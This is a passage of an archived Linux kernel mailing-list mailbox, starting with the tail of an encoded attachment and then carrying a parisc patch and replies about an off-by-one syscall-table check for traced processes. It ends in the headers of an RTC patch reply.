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
Ctd55v8BalXieR7jAAA=

--OgqxwSJOaUobr8KG--

From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix a bug when syscall number of tracee is __NR_Linux_syscalls
Date: Wed, 27 Apr 2016 04:56:11 +0300
Lines: 29
Approved: news@gmane.org
Message-ID: <20160427015611.GA23316@altlinux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461722545 12912 80.91.229.3 (27 Apr 2016 02:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 02:02:25 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 27 04:02:24 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avEo4-0002Ub-8Q
	for glk-linux-kernel-3@plane.gmane.org; Wed, 27 Apr 2016 04:02:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753226AbcD0CCL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Apr 2016 22:02:11 -0400
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:58808 "EHLO
	micros1.altlinux.org" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753092AbcD0CCI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Apr 2016 22:02:08 -0400
X-Greylist: delayed 353 seconds by postgrey-1.27 at vger.kernel.org; Tue, 26 Apr 2016 22:02:08 EDT
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
	by micros1.altlinux.org (Postfix) with ESMTP id 052D372E51C;
	Wed, 27 Apr 2016 04:56:12 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
	id EA65E7CDED9; Wed, 27 Apr 2016 04:56:11 +0300 (MSK)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2208919 gmane.linux.ports.parisc:26681
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2208919>

Do not load one entry beyond the end of the syscall table when the
syscall number of a traced process equals to __NR_Linux_syscalls.
Similar bug with regular processes was fixed by commit 3bb457af4fa8
("[PARISC] Fix bug when syscall nr is __NR_Linux_syscalls").

This bug was found by strace test suite.

Cc: stable@vger.kernel.org
Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
---
 arch/parisc/kernel/syscall.S | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index c976ebf..57b4836 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -344,7 +344,7 @@ tracesys_next:
 #endif
 
 	cmpib,COND(=),n -1,%r20,tracesys_exit /* seccomp may have returned -1 */
-	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
+	comiclr,>>	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Ltracesys_nosys
 
 	LDREGX  %r20(%r19), %r19
-- 
ldv


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix a bug when syscall number of tracee is
 __NR_Linux_syscalls
Date: Tue, 26 Apr 2016 22:45:11 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <20160427024511.GA5369@vapier.lan>
References: <20160427015611.GA23316@altlinux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="Pcw6Z5YEpa6jVCsn"
X-Trace: ger.gmane.org 1461725119 18304 80.91.229.3 (27 Apr 2016 02:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 02:45:19 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: "Dmitry V. Levin" <ldv@altlinux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 04:45:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avFTW-0003RO-8d
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 04:45:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752610AbcD0CpN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Apr 2016 22:45:13 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:52050 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752603AbcD0CpN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Apr 2016 22:45:13 -0400
Original-Received: from vapier.lan (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with SMTP id AB001340928;
	Wed, 27 Apr 2016 02:45:11 +0000 (UTC)
Mail-Followup-To: "Dmitry V. Levin" <ldv@altlinux.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20160427015611.GA23316@altlinux.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26682 gmane.linux.kernel:2208933
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26682>


--Pcw6Z5YEpa6jVCsn
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On 27 Apr 2016 04:56, Dmitry V. Levin wrote:
> Do not load one entry beyond the end of the syscall table when the
> syscall number of a traced process equals to __NR_Linux_syscalls.
> Similar bug with regular processes was fixed by commit 3bb457af4fa8
> ("[PARISC] Fix bug when syscall nr is __NR_Linux_syscalls").
>=20
> This bug was found by strace test suite.
>=20
> Cc: stable@vger.kernel.org
> Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
> ---
>  arch/parisc/kernel/syscall.S | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>=20
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index c976ebf..57b4836 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -344,7 +344,7 @@ tracesys_next:
>  #endif
> =20
>  	cmpib,COND(=3D),n -1,%r20,tracesys_exit /* seccomp may have returned -1=
 */
> -	comiclr,>>=3D	__NR_Linux_syscalls, %r20, %r0
> +	comiclr,>>	__NR_Linux_syscalls, %r20, %r0
>  	b,n	.Ltracesys_nosys
> =20
>  	LDREGX  %r20(%r19), %r19

i've deployd your fix to hake, so feel free to give the tests another
run to try and crash the box :).
-mike

--Pcw6Z5YEpa6jVCsn
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJXICe3AAoJEEFjO5/oN/WBuygP/1nPmdnppZqXhIOkW6E4dGm/
gUIpQZxjCRs6qaw0ncjkIP/5QYJ780/RIWOmfr0+bFQC6XsDHWXy2+Ub7Tp4eYoT
m8nF4T6KYRbPN4qisjExVrPPLgUevV87+bf28dKFPk228Nh+3YwbmxQXIL37A1rv
VB2gqDFP7ym/E5w5w/dd8KI2oSJQJk0efegwebA8RCjOgPzeezNv7s/HLZkZazB7
WPJGplwCn8z2HasoxKXlR+jsrHMxFvMp/mINvJwJM4h1XFoOKF0NnEMaINl1MwM7
zyHHWQaj6Fa18mnJwOAShwAjYDw10lJQGwqVcJIFaKnWfxOR9fSTMl03qcEpVBml
TFo3/1muz9uq/9ODNuQsZMSV3Ne1HGMKohMMLBm/91TJagh99K672VHxYQkxCXlW
pCd6CST0cdAcxBljqudRWO/kVkCScia0fcIBwGvYa2hqWB6Iot2kE9sMUl9n4bp8
qcb6xkgQpx4oa6eyOvsJnbULHn69fW4lFhY7rHfaGZ3fyiWXWn3kH4D8wgRBcVcH
YMNsIh1l6O5LP05TqvH+JpqtqA2eb5xauUvx62b/QPuNsxULFU5TGBvAsbGMTRsN
3iMuCOP3AM4ULBtRyQc/emvKhrRce/Ori0o6MYmxXabAN72y3MzMIyJNvYIeSCUm
eliconcPfhFlTPpXgCbj
=1U7X
-----END PGP SIGNATURE-----

--Pcw6Z5YEpa6jVCsn--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix a bug when syscall number of tracee is __NR_Linux_syscalls
Date: Wed, 27 Apr 2016 06:28:26 +0300
Lines: 73
Approved: news@gmane.org
Message-ID: <20160427032826.GA24101@altlinux.org>
References: <20160427015611.GA23316@altlinux.org> <20160427024511.GA5369@vapier.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=x-unknown;
	protocol="application/pgp-signature"; boundary="AqsLC8rIMeq19msA"
X-Trace: ger.gmane.org 1461727712 20546 80.91.229.3 (27 Apr 2016 03:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 03:28:32 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 05:28:31 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avG9O-0004Lo-NQ
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 05:28:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752718AbcD0D2a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Apr 2016 23:28:30 -0400
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:34216 "EHLO
	micros1.altlinux.org" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752685AbcD0D23 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Apr 2016 23:28:29 -0400
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
	by micros1.altlinux.org (Postfix) with ESMTP id 80E5872E51C;
	Wed, 27 Apr 2016 06:28:26 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
	id 6EA547CCB3E; Wed, 27 Apr 2016 06:28:26 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <20160427024511.GA5369@vapier.lan>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26683 gmane.linux.kernel:2208972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26683>


--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Apr 26, 2016 at 10:45:11PM -0400, Mike Frysinger wrote:
> On 27 Apr 2016 04:56, Dmitry V. Levin wrote:
> > Do not load one entry beyond the end of the syscall table when the
> > syscall number of a traced process equals to __NR_Linux_syscalls.
> > Similar bug with regular processes was fixed by commit 3bb457af4fa8
> > ("[PARISC] Fix bug when syscall nr is __NR_Linux_syscalls").
> >=20
> > This bug was found by strace test suite.
> >=20
> > Cc: stable@vger.kernel.org
> > Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
> > ---
> >  arch/parisc/kernel/syscall.S | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> >=20
> > diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> > index c976ebf..57b4836 100644
> > --- a/arch/parisc/kernel/syscall.S
> > +++ b/arch/parisc/kernel/syscall.S
> > @@ -344,7 +344,7 @@ tracesys_next:
> >  #endif
> > =20
> >  	cmpib,COND(=3D),n -1,%r20,tracesys_exit /* seccomp may have returned =
-1 */
> > -	comiclr,>>=3D	__NR_Linux_syscalls, %r20, %r0
> > +	comiclr,>>	__NR_Linux_syscalls, %r20, %r0
> >  	b,n	.Ltracesys_nosys
> > =20
> >  	LDREGX  %r20(%r19), %r19
>=20
> i've deployd your fix to hake, so feel free to give the tests another
> run to try and crash the box :).

With this fix the box no longer crashes.


--=20
ldv

--AqsLC8rIMeq19msA
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCAAGBQJXIDHaAAoJEAVFT+BVnCUIKxsQAJVhTUZttcS7ez3NLsGRP6QK
MLyA8eQjYlN/I1umBwRZNaAePk7pGYxeZYy/C5Wvt0WEe09kILINt9ED19VjmuhQ
FEQ37TqWeMK6w15hpUTRIhSoBklBi0NG4jPgzuv4TOaFfrB80/VRzp2BmdP0F2x1
iDSs8XkDHg6VUAv2bvd3ANhMDSuyY8OEUIaj6VVw+FGJxkL+0uzOu1MM8wmmvEpg
QkhEXEN/MBIsKOwWSkFxAQAqidxUPA4ytZh5RrIC81zytS//X/jlOE9Wx74ELR0N
PFPV7UQGOsUVSMdW6cWOJbWyxyJGfbpd6NMsF8OwNZ9waBmpZrHd+MuAw920rk6G
A+U5n4+IdFPX0S5SsICR2T8Cc4pC2gxsCB6vjxtRam0iXuEN62FptXtg0h63P8VV
ZQk+Mvqdvm26TPRnZoGcEWs9zJySuAUQq48Hyh2s7jFdFb6lvvdLXa6miyMPyyTA
Xp13TdR8w5g51LwNANXThlq40zzul+V1l6hd8lI1aNhv9oq/wQv0+Ag6MQvqOpcJ
eHMmFi2dacCgcBBLQRIJoa0050DYPF+pMYnQ4zEaiHIyjQ1KFTPThnl0RUP9BF3d
ON2J8dIcfcmXsT+nbrRbIMalOVLcIdYxR0T7Hux9c4iHXLCwwFyCLhALRgFVI1NI
oevppn6cGb+VfFXaA3/F
=CcFU
-----END PGP SIGNATURE-----

--AqsLC8rIMeq19msA--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 1/6] rtc: m68k: provide rtc_class_ops directly
Date: Wed, 27 Apr 2016 09:47:56 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <CAMuHMdXS0JL_weLvjV4+i0ZPj=N+G6Vs1WDE9jffGUWehq5Xzg@mail.gmail.com>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de>
	<1461707551-1337971-2-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461743295 18098 80.91.229.3 (27 Apr 2016 07:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 07:48:15 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Apr 27 09:48:13 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avKCi-0006Al-0n
	for glpm-linux-m68k@plane.gmane.org; Wed, 27 Apr 2016 09:48:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753416AbcD0HsC (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 03:48:02 -0400
Original-Received: from mail-ig0-f193.google.com ([209.85.213.193]:33387 "EHLO
	mail-ig0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753213AbcD0Hr5 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 03:47:57 -0400
Original-Received: by mail-ig0-f193.google.com with SMTP id g8so5500894igr.0
        for <linux-m68k@lists.linux-m68k.org>; Wed, 27 Apr 2016 00:47:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=xepca+tG7KGA9CRGzxyzyw+piAzr8+zMQmAzSA8qgNc=;
        b=XefMP4+d0QFkJXM2OyNzdElQCNaH77L1Aqj5v34/B6P77VE7M2bD8dQWYh5RCEzBTA
         kg3Vvs+KqewtiSHN/N6CgJLY3shN+di9TNsq0g82brgCbTa2vCnUdYR6DBEafWB361QJ
         AZEgXsvN8aivCO/K2GNOuuAFVXNEG9OleaY0GM0BV0Xjr8jQp7llbAOb/CQbQ7vBIN0L
         jOYPDzCXsgnOeL7zmY114D9uC4IFVRMiBpVDqSNEpThfZxd6P5mPRn7bDyw4zX6+muSe
         ijdNWNMBWfJF5gv2efIuSluc959LSTxy3pQ/aERgw6/33r/guWWyjTTCe/1kpAcDjhuq
         g7Ng==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=xepca+tG7KGA9CRGzxyzyw+piAzr8+zMQmAzSA8qgNc=;
        b=QnygwxEbI8D/GxSzVZgvV4H+yEZlo6DMItqu8y46+45iDG3vLzdwBQ9Zqeus0EZwrZ
